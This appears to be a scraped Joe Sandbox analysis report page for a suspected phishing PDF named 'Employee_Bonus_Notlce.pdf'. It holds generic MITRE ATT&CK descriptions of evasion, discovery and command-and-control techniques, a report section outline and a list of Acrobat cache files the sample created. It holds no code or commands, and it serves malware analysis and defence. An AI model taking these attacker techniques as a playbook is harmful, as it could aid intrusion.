Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Employee_Bonus_Notlce.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\64fc90d3-fdf9-4397-bc3e-75a7c8435c5b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\971621f4-700d-4eeb-be43-2e89e4cda279.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63f7fa.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241203165351Z-232.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7716

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7716

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
Employee_Bonus_Notlce.pdf